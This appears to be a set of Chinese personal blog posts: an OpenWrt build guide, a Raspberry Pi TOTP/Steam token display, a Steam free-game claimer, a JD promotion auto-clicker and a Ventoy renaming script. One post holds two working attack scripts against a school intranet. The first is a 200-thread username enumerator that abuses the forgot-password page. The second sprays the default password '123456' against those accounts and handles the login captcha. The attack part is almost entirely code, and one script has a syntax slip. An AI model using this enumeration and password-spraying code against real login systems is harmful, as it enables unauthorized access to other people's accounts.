OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库 default-settings # 默认选项(自动配置语言包) Mail #邮件 Multimedia #多媒体 Network #网络相关 Sound #音频 Utilities #各类实用软件(比如VIM) Xorg 修改完成以后，按左右方向键选中Save，按回车键保存，无需修改文件名，保存为.config即可 准备工作 为了能使用GitHub Action进行在线编译，我们需要将.config上传到自己的仓库中，可以手动上传，也可以在.gitignore中设置取消忽略 直接在.gitignore中删除/.config行即可 然后就可以使用Git进行提交了 git add .config git commit -m "update" git push 如果一切顺利，可以在自己的仓库中看到.config文件，这个就是编译配置文件了 然后切换到Actions页，点击绿色按钮启用GitHub Actions功能 然后回到仓库主页，右下角找到Release，进入Release页 点击Draft a new release创建新的Release 标题和内容可以随便填，最后点Publish release发布 然后回到Actions页，可以看到自动触发了一个workflow 然后只需要耐心等待，如果编译成功，图标会变成绿色，点进去就能下载编译好的固件了 OpenWrt_buildinfo #固件编译信息，没什么用 OpenWrt_firmware #编译好的固件本体 解压即可得到指定分区格式的镜像 如果是第一次刷入，需要刷入带factory的镜像 如果是通过网页升级，则需要上传带sysupgrade镜像 OpenWrt_package #编译好的ipk包 可以在刷入固件以后手动安装到OpenWrt中
前言 总共花了4天休息时间做的小玩意，支持显示通用TOTP令牌(6位数字)和STEAM令牌(5位)，同时也是个桌面时钟。 源码获取：GitHub 令牌原理 i> 简单的介绍一下两个令牌的原理，不感兴趣的可以参考下一节 原理 令牌类似于短信验证码，是一种一次性密码OTP，核心原理很简单，服务器和用户事先约定好一个Secret，然后用户通过特殊的算法（一般用Secret + 时间戳或者计数器作为参数），得到一串字符，服务器也通过同样的算法得到一串字符，如果两者相同，那么就证明了我是我。 常见的令牌大多是基于时间的令牌TOTP，也就是用当前的时间戳作为输入，只要保证和服务端时间差不超过令牌有效期（常见的实现是30秒）就能确保通过验证。优点是令牌客户端可以不需要联网，缺点是可能因为时间差导致验证失败。 另一种实现是基于HMAC的令牌HOTP，这种令牌需要和服务器约定一个计数器，客户端刷新一次令牌，就告诉服务器，让两边的计数器同步，这样用户和服务器得到的结果才能一样，才能通过验证。缺点显而易见，就是令牌客户端需要联网。 STEAM的令牌系统类似于TOTP，也是基于时间戳的，只是算法略有区别，最明显的区别是普通TOTP计算得到的是6位数字，STEAM令牌是5位数字或字母。 x> Secret一定要保管好，千万不要向他人透露。 i> 完整代码位于utils/twofa.py TOTP详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【MNUHE6DXGEZDGNBVGY======】(Base32编码，也有的实现采用Base64编码） 1. 取当前时间戳/30，取整后记为C【53914423】 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变) 5. 把I转成10进制数字【17602563747】，最低6位就是结果【643943】 Python实现 import hmac import hashlib from base64 import b32decode from time import time import struct def get_totp_auth_code(secret: str, t: int = None): if not t: t = int(time() / 30) key = b32decode(secret) msg = struct.pack(">Q", t) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff code = str(binary)[-6:].zfill(6) return code # 演示DEMO print(get_totp_auth_code('MNUHE6DXGEZDGNBVGY======',53914423)) # 输出结果为 643943 Steam令牌详解 伪代码 #. 演示用的中间结果用【】 表示 0. 服务器和用户事先约定了一个密钥Secret，记为K【Y2hyeHcxMjM0NTY=】(Base64编码） 1. 取当前时间戳/30，先取整【53914423】，然后转换成8字节，前方补0，记为C【000000000336ab37】(16进制) 2. 使用C作为消息，K作为密钥，哈希方式一般为Sha-1，计算HMAC哈希值H【deb27e0ae7e70fc2d2527e6ed231967e26503f72】(16进制) 3. 取H最后一个字节的低4位，用作偏移，记为O【2】(即16进制C的最后一位) 4. 取H的第O到O+4字节【7e0ae7e7】，丢弃最高位，变为32位无符号整数，记为I【7e0ae7e7】(最高位本来就是0，所以不变)，为了方便计算转成10进制为【2114643943】 5. 创建一个字母表G【23456789BCDFGHJKMNPQRTVWXY】(去掉了一些容易混淆的字符) 6. 用I【2114643943】对26取余，记为M【9】，然后将I整除26，重复5次，得到5个M【9,13,7,12,25】(10进制) 7. 把5个M作为下标，从G中取出对应位置的字符，最后拼接起来就是结果【CH9GY】 i> 两个算法0~4步都是一模一样的，只是steam的算法多了一步处理过程 Python实现 import hmac import hashlib from base64 import b64decode from time import time import struct def get_steam_auth_code(secret: str, t: int = None) -> str: if not t: t = int(time()/30) msg = struct.pack(">Q", t) key = b64decode(secret) mac = hmac.new(key, msg, hashlib.sha1).digest() offset = mac[-1] & 0x0f binary = struct.unpack('>L', mac[offset:offset+4])[0] & 0x7fffffff codestr = list('23456789BCDFGHJKMNPQRTVWXY') chars = [] for _ in range(5): chars.append(codestr[binary % 26]) binary //= 26 code = ''.join(chars) return code # 演示DEMO print(get_steam_auth_code('Y2hyeHcxMjM0NTY=',53914423)) # 输出结果为 CH9GY 屏幕显示 i> 我使用的是微雪的2.7寸墨水屏，也可以使用别的尺寸的屏幕，自行修改图片生成函数进行适配即可。 买屏幕的时候直接买适配树莓派的就行了，基本上都提供Python的驱动，直接用就行，非常方便。 !> 常见的屏幕一般是SPI接口，树莓派默认是不开启SPI接口的，可以使用官方的工具rasbpi-config开启，或者手动编辑/boot/config.txt，在最后一行加一个dtparam=spi=on，重启后生效。 img.py i> 如果对PIL绘图不是很熟悉可以看下一节。 ''' # @Author : Chr_ # @Date : 2021-03-30 17:04:24 # @LastEditors : Chr_ # @LastEditTime : 2021-04-03 00:26:15 # @Description : 图片生成器 ''' import time from os import path from typing import List, Tuple from PIL import Image, ImageDraw, ImageFont SCREEN_W = 264 # 屏幕显示宽度 SCREEN_H = 176 # 屏幕显示高度 CODE_W = 115 # 中间区域宽度 CODE_H = 27 # 中间区域一条令牌的高度 ICON_W = 20 # 左边图标区域宽度 ICON_H = 44 # 左边图标区域一个图标的高度(包含空白) CLOCK_W = SCREEN_W-ICON_W - CODE_W CLOCK_H = SCREEN_H FONT_CODE = ImageFont.truetype(path.join('font', 'Courier Prime Code.ttf'), 25) # 令牌字体 FONT_TAG = ImageFont.truetype(path.join('font', 'CascadiaMono.ttf'), 12) # 令牌名称的字体 FONT_PAGE = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 15) # 页码字体 FONT_ICO = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 22) # 图标区域的字体 FONT_CLOCK = ImageFont.truetype(path.join('font', 'hartland.ttf'), 50) # 时钟字体 FONT_DATE = ImageFont.truetype(path.join('font', 'hartland.ttf'), 23) # 日期字体 FONT_TIPS = ImageFont.truetype( path.join('font', 'sarasa-fixed-sc-regular.ttf'), 13) # 日期下方文字的字体 def generate_2fa_img(data: List[Tuple[str, str]], page: Tuple[int, int] = (1, 1), active: bool = True, tips: List[str] = None) -> Image: def draw_icon() -> Image: '''绘制图标''' img = Image.new('L', (ICON_W, SCREEN_H), 0xff) w, h = FONT_ICO.getsize('▲') draw = ImageDraw.Draw(img) ICO_TXT = ['▲', '▼', '●', '■'] if active else ['△', '▽', '○', '□'] for i in range(4): x, y = (ICON_W-w)/2+1, i*44+(44-h)/2 draw.text((x, y), ICO_TXT[i], font=FONT_ICO, fill=0x00) return img def draw_auth() -> Image: '''绘制令牌''' def draw_auth_single(name: str, code: str) -> Image: '''绘制单个令牌''' # 计算尺寸 w1, h1 = FONT_CODE.getsize(code) w2, h2 = FONT_TAG.getsize(name[:3]) W2, H2 = CODE_H, 18 W1, H1 = CODE_W-H2, CODE_H # 画令牌 im_code = Image.new('L', (CODE_W, CODE_H), 0xff) draw_code = ImageDraw.Draw(im_code) draw_code.text(((W1-w1)/2, (H1-h1)/2), code, font=FONT_CODE, fill=0x00) # 画名称 im_name = Image.new('L', (W2, H2), 0xff) draw_name = ImageDraw.Draw(im_name) draw_name.text(((W2-w2)/2, (H2-h2)/2-2), name[:3], font=FONT_TAG, fill=0x00) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) im_name = im_name.rotate(angle=90, expand=True) im_code.paste(im_name, (W1, 0)) draw_code.rectangle((0, 0, CODE_W-1, CODE_H), outline=0) return im_code def draw_page_info() -> Image: '''绘制页码''' PAGE_H = SCREEN_H-6*CODE_H+2 im_page = Image.new('L', (CODE_W, PAGE_H), 0xff) draw = ImageDraw.Draw(im_page) draw.rectangle((0, 0, CODE_W-1, PAGE_H), outline=0) curr, total = page curr -= 1 if total < 1: total = 1 if curr > total: curr = 0 pages = ['-'] * total if active: pages[curr] = '≡' else: pages[curr] = '≡' page_str = ' '.join(pages) wp, hp = FONT_PAGE.getsize(page_str) draw.text(((CODE_W-wp)/2, (PAGE_H-hp)/2-2), page_str, font=FONT_PAGE, fill=0x00) return im_page img = Image.new('L', (CODE_W, SCREEN_H), 0xff) y = -1 for name, code in data[:6]: img_code = draw_auth_single(name, code) img.paste(img_code, (0, y)) y += img_code.height img_page = draw_page_info() img.paste(img_page, (0, y)) return img def draw_clock() -> Image: '''绘制时钟''' img = Image.new('L', (CLOCK_W, CLOCK_H), 0xff) draw = ImageDraw.Draw(img) time_str = time.strftime("%H:%M", time.localtime()) date_str = time.strftime("%Y-%m-%d", time.localtime()) # 画时钟 wc, hc = FONT_CLOCK.getsize(time_str) wd, hd = FONT_DATE.getsize(date_str) draw.text(((CLOCK_W-wc)/2+3, 10), time_str, font=FONT_CLOCK, fill=0x00) draw.text(((CLOCK_W-wd)/2+3, 65), date_str, font=FONT_DATE, fill=0x00) for i, tip in enumerate(tips, 0): wt, ht = FONT_TIPS.getsize(tip) draw.text(((CLOCK_W-wt)/2, 110+(ht+5)*i), tip, font=FONT_TIPS, fill=0x00) return img if not active: data = [('---', '-----')] * 6 if len(data) < 6: data += [('---', '-----')] * 6 if not tips: tips = ['By Chr_', 'Ver 0.01', 'chrxw.com'] full_img = Image.new('L', (SCREEN_W, SCREEN_H), 0xff) img_auth = draw_auth() full_img.paste(img_auth, (ICON_W, 0)) img_icon = draw_icon() full_img.paste(img_icon, (0, 0)) img_clock = draw_clock() full_img.paste(img_clock, (ICON_W+CODE_W, 0)) with open('o.png', 'wb') as f: full_img.save(f, 'png') return full_img PIL绘图简介 创建图片('L'代表灰度模式，0xff表示默认颜色是白色) img = Image.new('L', (width, height), 0xff) 图片拼贴(把img_icon粘贴到img(30,0)的位置) img.paste(img_icon, (30, 0)) 创建画笔对象 draw = ImageDraw.Draw(img) 绘制矩形(左上角为(x1,y1)，右下角为(x2,y2)) draw.rectangle((x1, y1, x2, y2), outline=0) 绘制直线(端点为(x1,y1)和(x2,y2)，0x00表示线条颜色为黑色，宽度为1) draw_name.line(((0, 0), (W2, 0)), fill=0x00, width=1) 创建字体对象('font/CascadiaMono.ttf'是字体路径，12是字号) font = ImageFont.truetype('font/CascadiaMono.ttf'), 12) 获取文字的尺寸(获取用指定字体把'text'显示出来的尺寸，高为h，宽为w) w, h = font.getsize('text') 绘制文本(把'text'用指定字体显示在(20,10)的位置，0x00表示字体颜色是黑色) draw.text((20, 10), 'text', font=font, fill=0x00) 按键响应 原理 树莓派有2种引脚编号方式，BCM和BOARD，两者的区别只是对引脚的标记不同，使用GPIO前申明一下引脚的编号方式即可，使用命令gpio readall可以查看所有引脚的编号、状态、电平状态 类似于51单片机的中断系统，树莓派也可以设定中断，不过先要把指定引脚设定为输入模式，设定完后，再创建一个“监听器”，当指定引脚的电平从高电平变为低电平的时候，就会自动调用指定函数，参数为引脚号。 我买的屏幕左边4个按键使用BCM编码的引脚编号为【5,6,13,19】，前两个用来控制翻页，第三个用来切换时钟下方显示的内容，第四个用来控制令牌的显示/隐藏。 实现 i> 这里只列出了事件响应的部分，具体功能的实现请参考obj.py import RPi.GPIO as GPIO from obj import Pi_2FA # 使用的引脚序号 KEYS = [5, 6, 13, 19] pi_2fa = Pi_2FA() # 按键响应回调函数 def btn_callback(key): if pi_2fa.Ready: if key == KEYS[0]: pi_2fa.page_down() elif key == KEYS[1]: pi_2fa.page_up() elif key ==KEYS[2]: pi_2fa.switch_mode() elif key ==KEYS[3]: pi_2fa.none_mode() else: print(key) return # 设置引脚编号方式为BCM GPIO.setmode(GPIO.BCM) for key in KEYS: # 设定指定引脚为输入模式 GPIO.setup(key, GPIO.IN, pull_up_down=GPIO.PUD_UP) # 为指定引脚添加事件响应函数 GPIO.add_event_detect(key, GPIO.RISING, callback=btn_callback, bouncetime=200)
前言 最近开始关注Steam游戏的下架情报，付费游戏下架还可能买得到激活码，免费游戏下架绝大多数情况都没有办法收藏了，于是就有了这个能够自动添加免费游戏的项目 使用方法 链接 本项目链接：Github ASF配置 添加免费游戏通过ASF实现，所有首先需要配置ASF，打开ASF的IPC功能 只要在ASF.json中，加一条"IPC": true,即可 脚本安装 & 配置 首先克隆仓库 git clone https://github.com/chr233/free_game_hunter cd free_game_hunter pip3 install -r requirements.txt mv example.config.toml config.toml 在本地会存在一个data.db，会缓存机器人拥有的游戏和steam商店上的免费游戏，然后会保存统计数据，请不要自行修改data.db 然后修改config.toml，设置机器人名称即可 [bot] # 机器人设置 # 机器人名称,不能设置为asf bot_name = '1' # 多个机器人可以设置写成这样 # bot_name = ['1','2','3'] [asf] # asf设置 # ipc地址 ipc_addr = 'http://localhost:1242' # ipc连接密码,没有密码的话留空 ipc_password = '' [db] # 数据库配置 # 数据库名称 db_name = 'data.db' 运行脚本 使用Python3运行 python3 run.py 自动运行 我使用crontab实现定时执行（因为Steam限制，一个账号每小时最多添加50个Sub，所以一小时执行一次就行了） # 每个小时执行一次 0 * * * * /home/xxx/free_game_hunter/start.sh > /dev/null 2>&1 & start.sh内容： # 需要先切换到工作目录才可以，路径自行修改 cd /home/xxx/free_game_hunter python3 run.py 运行效果
前言 本脚本仅供学习交流之用，使用者如何使用与本文作者无关。 AutoJS下载 & 教程 [post cid="1235" /] 脚本 大部分沿用之前的代码，初步测试没有问题，遇到问题欢迎留言反馈 //JD不定时热更新活动页，请关注脚本更新 //遇到问题请在发布页留言： //https://blog.chrxw.com/archives/2021/01/18/1455.html //Ver 1.8 2021.01.23 //By Chr_(chr@chrxw.com) //========================= //更新说明 //重写了任务完成判断方式,防止偶尔报错 //优化数组访问,应该不会再越界报错了 //修复若干bug //新支持浏览频道任务 //修复加购和参加会员任务的问题（需要打开开关） //修复出现限时任务时报错的问题 //========================= //功能配置 //自动加入会员（设为true启用) let auto_join_vip = false; //自动完成加购任务（设为true启用) let auto_add_cart = false; //延时时间倍率（倍数越大延时越久) let sleep_t = 1.0; //========================= auto.waitFor(); console.show(); toast('\n脚本开始运行\n请切换到任务页\nBy Chr_'); for (let i = 0; i < 10; i++) { //等待切换到任务页 if (className("android.view.View").text("我的爆竹").exists() || className("android.view.View").text("集爆竹").exists()) { break; } rsleep(1); } if (!className("android.view.View").textStartsWith("邀请好友助力").exists()) { advclick(className("android.view.View").text("集爆竹").findOnce()); } toast("\n即将开始工作\n中途需退出请按【音量+】终止"); sleep(1000); for (; ;) { let flag = false; let skip = false; let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { if (tasks[i].childCount() == 5) { tasks[i].child(4).click(); rsleep(1); advback(); skip = true; } } if (skip) { continue; } for (let i = 0; i < tasks.length; i++) { if (tasks[i].length < 4) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } continue; } let desc; let title; try { desc = tasks[i].child(2).text(); title = tasks[i].child(1).text(); } catch (e) { log(e); continue; } let btn = tasks[i].child(3); log(i, desc); if (desc.search("8秒") != -1) { if (checks(btn, title)) { advclick(btn); view(); flag = true; } } else if (desc.search("浏览可得") != -1) { if (checks(btn, title)) { advclick(btn); view2(); flag = true; } } else if (desc.search("关注频道") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_join_vip && desc.search("成功入会可得") != -1) { if (checks(btn, title)) { advclick(btn); view3(); flag = true; } } else if (auto_add_cart && desc.search("5个") != -1) { if (checks(btn, title)) { advclick(btn); view4(); flag = true; } } if (flag) { break; } } if (!flag) { toast("\n脚本运行完毕\n模拟浏览任务全部完成（大概）"); console.hide(); break; } } //检查任务是否完成 function checks(btn, title) { let match = title.match(/(\d+)\/(\d+)/); if (match) { let a = Number(match[1]); let b = Number(match[2]); log(a, b, a < b); return a < b; } else { return false; } } //模拟浏览（浏览会场任务） function view() { rsleep(3); className("android.widget.Image").text("vk image").findOne(5000); rslide(6); rslideR(1); rsleep(3); advback(); } //模拟浏览（直接返回） function view2() { rsleep(3); back(); rsleep(3); } //模拟浏览（开卡） function view3() { rsleep(2); let btn = className("android.view.View").text("确认授权并加入店铺会员").findOne(5000); if (btn) { advclick(btn); rsleep(2); } else { rsleep(1); } advback(); } //模拟浏览（浏览商品、加购任务） function view4() { rsleep(3); let add_cart = true; let count = 4; if (className("android.view.View").text("任意浏览以下5个商品").exists()) { add_cart = false; count = 4; } else { add_cart = true; count = 5; } log(add_cart ? "加购模式" : "浏览模式"); for (let i = 0; i < 5; i++) { let prices = className("android.view.View").textMatches("^¥[0-9]+\.[0-9][0-9]").untilFind(); log(i, prices[i].text()); let good = prices[i].parent().parent(); if (good.childCount() != count) { log('已完成，跳过'); continue; } if (!add_cart) { advclick(good); rsleep(2); rslide(1); className("android.widget.ImageView").desc("返回").click(); } else { good.child(4).click(); rsleep(2); rslide(1); className("android.widget.ImageView").desc("返回").click(); } rslide(1); rsleep(2); } advback(); rsleep(3); } //随机延时 function rsleep(s) { while (s--) { let t = random(900, 1200) * sleep_t; sleep(t); } } //模拟返回 function advback() { if (className("android.view.View").text("集爆竹").exists()) { return; } for (let i = 0; i < 3; i++) { if (!className("android.widget.ImageView").desc("返回").exists()) { rslideR(1); rsleep(2); continue; } className("android.widget.ImageView").desc("返回").click(); rsleep(5); if (className("android.view.View").text("集爆竹").exists()) { return; } } log("定位不到返回按钮，模拟返回键"); back(); } //随机划屏 function rslide(i) { while (i--) { let x1 = random(300, 800); let y1 = random(1200, 1900); let x2 = random(300, 800); let y2 = random(1000, 1200); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //随机划屏，反向 function rslideR(i) { while (i--) { let x1 = random(300, 800); let y1 = random(900, 1300); let x2 = random(300, 800); let y2 = random(1500, 1900); swipe(x1, y1, x2, y2, 300); rsleep(1); } } //模拟点击 function advclick(uiobject) { let rect = uiobject.bounds(); click(rect.centerX(), rect.centerY()); } function test() { let tasks = className("android.view.View").textStartsWith("邀请好友助力").findOnce().parent().parent().children(); for (let i = 0; i < tasks.length; i++) { for (let j = 0; j < tasks[i].childCount(); j++) { log(tasks[i].child(j).text()); } } }
!> 本文仅供学习交流使用，其他用途与作者无关 前言 最近在学校内网瞎搞，就有了这个脚本，一个用来爆破用户名，另一个用来爆破默认密码。 验证码识别用的是腾讯云的OCR，不过也可以手动打码。 脚本 安装依赖： pip install requests bs4 lxml 爆破用户名 存在的用户名会保存在 users.txt 里 #!/usr/bin/python3 from json import dumps from requests import session import threading from bs4 import BeautifulSoup import requests requests.packages.urllib3.disable_warnings() # 爆破起始ID uid = 0 # 爆破结束ID ends = 30000 # 爆破入口（忘记密码页面） target = 'https://xxxx/forget/security' HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输出文件为 `users.txt` outf = open('users.txt', 'a', encoding='utf-8') def get_id(): global uid raw = str(uid).rjust(4, '0') uid += 1 return raw if uid <= ends else None class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.headers = HEADERS.copy() self.headers['x-requested-with'] = 'XMLHttpRequest' self.flash_token() threading.Thread.__init__(self) def flash_token(self): '''刷新token''' r = self.ss.get(target, headers=HEADERS, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') t = soup.select_one( '#forget-security-form > input[type=hidden]:nth-child(1)') tk = t.get('value') if t else None self.headers['x-csrf-token'] = tk if tk == None: print('error') self.ss.headers = self.headers def run(self): print(f'{self.i} 开始') user = get_id() while user: result = self.check_user(user) if result: print(f'{user} 用户存在') outf.write(f'{user} 用户存在\n') outf.flush() else: print(f'{user} 用户不存在') user = get_id() print(f'{self.i} 退出') def check_user(self, uid): error = 0 jd = {} while error < 5: try: data = {'user_name': uid} r = self.ss.post(target, data=data, verify=False) r.encoding = 'utf-8' jd = r.json() break except Exception: self.flash_token() error += 1 if 'question_id' in jd: msg = '该账号未设置密保!' else: msg = jd.get('msg') if jd else None if not msg: with open(f'{self.i}.html', 'w') as f: f.write(dumps(jd)) print('未知错误') return msg == '该账号未设置密保!' def main(): threads = [] # 200是线程数量,可以自行调整 for i in range(0, 200): t = Boomer(i) t.start() threads.append(t) for t in threads: t.join() outf.close() if __name__ == "__main__": main() 爆破默认密码 @> 登陆错误50次就锁IP了，所以手动打码也完全没有问题。 用户名文件为 users.txt，结果保存在 result.txt #!/usr/bin/python3 from urllib.parse import urljoin from requests import session import threading from re import findall from bs4 import BeautifulSoup # 调用腾讯云的验证码识别接口 # from tencen2 import get_tencent_reg # 默认口令 passwd = '123456' # 爆破入口（登陆页面） target = 'https://xxxx/' headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # 输入输出文件 inf = open('users.txt', 'r', encoding='utf-8') outf = open('result.txt', 'w', encoding='utf-8') def get_id(): try: line = inf.readline() i, *_ = line.split() return i except: return None found = True while not found: found = '' in get_id() class Boomer(threading.Thread): def __init__(self, i): self.i = i self.ss = session() self.ss.headers = headers threading.Thread.__init__(self def run(self): print(f'{self.i} 开始') user = get_id() while user: result=check_pass(user, passwd, self.ss) # 尝试登陆两次（验证码识别率不高） if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') else: if result: print(f'{user} 成功') outf.write(f'{user} 成功\n') user = get_id() print(f'{self.i} 退出') def check_pass(user: str, passwd: str, ss: session): def get_token(soup: BeautifulSoup) -> str: '''获取token''' token = soup.select_one('#login-form > input[type=hidden]') return token.get('value') if token else None def get_chapter(soup: BeautifulSoup) -> str: '''获取验证码链接''' chapter = soup.select_one('#loginform-verifycode-image') return chapter.get('src') if chapter else None r = ss.get(target, verify=False) r.encoding = 'utf-8' soup = BeautifulSoup(r.text, 'lxml') token = get_token(soup) chapter = get_chapter(soup) while True: url = urljoin(target, chapter)# 验证码图片地址 with open('yzm.png', 'wb') as f: r = ss.get(url, verify=False) f.write(r.content) # 如果要使用腾讯云OCR的话修改这里就行 print('请输入验证码：') yzm = input() # yzm = (get_tencent_reg('yzm.png') or [''])[0] yzm =''.join(findall(r'[A-Za-z0-9]',str(yzm))) if len(yzm)==4: break else: print(f'验证码识别有误 {yzm}') data = {'_csrf-8800': token, 'LoginForm[username]': user, 'LoginForm[password]': passwd, 'LoginForm[verifyCode]': yzm, 'login-button': ''} r = ss.post(target, data=data, verify=False) r.encoding = 'utf-8' result = '修改密码' in str(r.text) print(user,yzm,'成功' if result else '失败') return result def main(): threads = [] # for i in range(0, 10): # 改成了单线程操作 t = Boomer(1) t.start() threads.append(t) for t in threads: t.join() inf.close() outf.close() if __name__ == "__main__": main() PS:因为测试了几个账号,都没有修改默认密码,加上每小时只能试50条的限制,这个脚本没有真正使用过,不过功能是正常的。 执行效果 配合第二个脚本就可以快速筛选出使用默认密码的账号了
前言 Ventoy已经可以显示自定义图标了，花了点时间做了下简单的适配。 主题DIY & 使用教程：BV1mg411c78f 使用方法 下载对应主题 解压出 ventoy 文件夹 把 ventoy 文件夹放到装有 Ventoy 分区根目录下(如图) 运行 rename.py ，这个脚本会自动重命名镜像文件，然后就能在引导菜单上显示正确的图标了 x> 千万不要把盘符输错了，非Windows用户可能需要自行修改一下脚本 [collapse status="false" title="脚本"] rename.py： ''' # @Author : Chr_ # @Date : 2020-12-16 18:53:26 # @LastEditors : Chr_ # @LastEditTime : 2020-12-16 21:23:53 # @Description : 优化镜像文件名,支持常见的系统名称 # @Description : 问题反馈: chr@chrxw.com ''' import os def get_volume_name() -> str: while True: print('[?]请输入镜像文件所在盘符: ', end='') d = input().upper() or 'E' d += ':' + os.sep # 非Windows用户可能需要修改这里 if os.path.exists(d): break else: print('[×]路径不存在') print(f'[=]目标设为{d}') print('[=]将会自动重命名该盘符下的所有镜像文件，是否继续?') print('[=]按Ctrl+C终止执行,按回车键继续……') return d def format_name(name) -> str: name = str(name).lower().title() dic = {'Centos': 'CentOS', 'Dvd': 'DVD', 'Ms-': 'MS-', 'Freebsd': 'FreeBSD', 'Bit': 'bit', 'Xp': 'XP', 'Cd': 'CD', 'Opensuse': 'openSUSE', 'Dos': 'DOS', 'Cn_': 'CN_', 'En_': 'EN_', 'Vl': 'VL', 'Pe': 'PE', } for x, y in dic.items(): name = name.replace(x, y, 1) return name def main(): target = get_volume_name() for path, _, file_list in os.walk(target, topdown=False): for file_name in file_list: if 'ventoy' in path or 'Information' in path: break file_name2 = format_name(file_name) if 'ventoy' in file_name or file_name == file_name2: continue if file_name.lower()[-3:] != 'iso': continue x = os.path.join(target, file_name) y = os.path.join(target, file_name+'_') z = os.path.join(target, file_name2) print(f'[-]{file_name} => {file_name2}') os.rename(x, y) os.rename(y, z) print('[!]运行结束') if __name__ == "__main__": try: main() except KeyboardInterrupt: pass [/collapse] 主题预览 i> 如果想使用其他背景图片，自行替换 \ventoy\theme\background.png 即可 流浪地球 下载链接：本地下载 牧濑红莉栖 下载链接：本地下载 御坂美琴 & 御坂妹妹 下载链接：本地下载 艾拉 下载链接：本地下载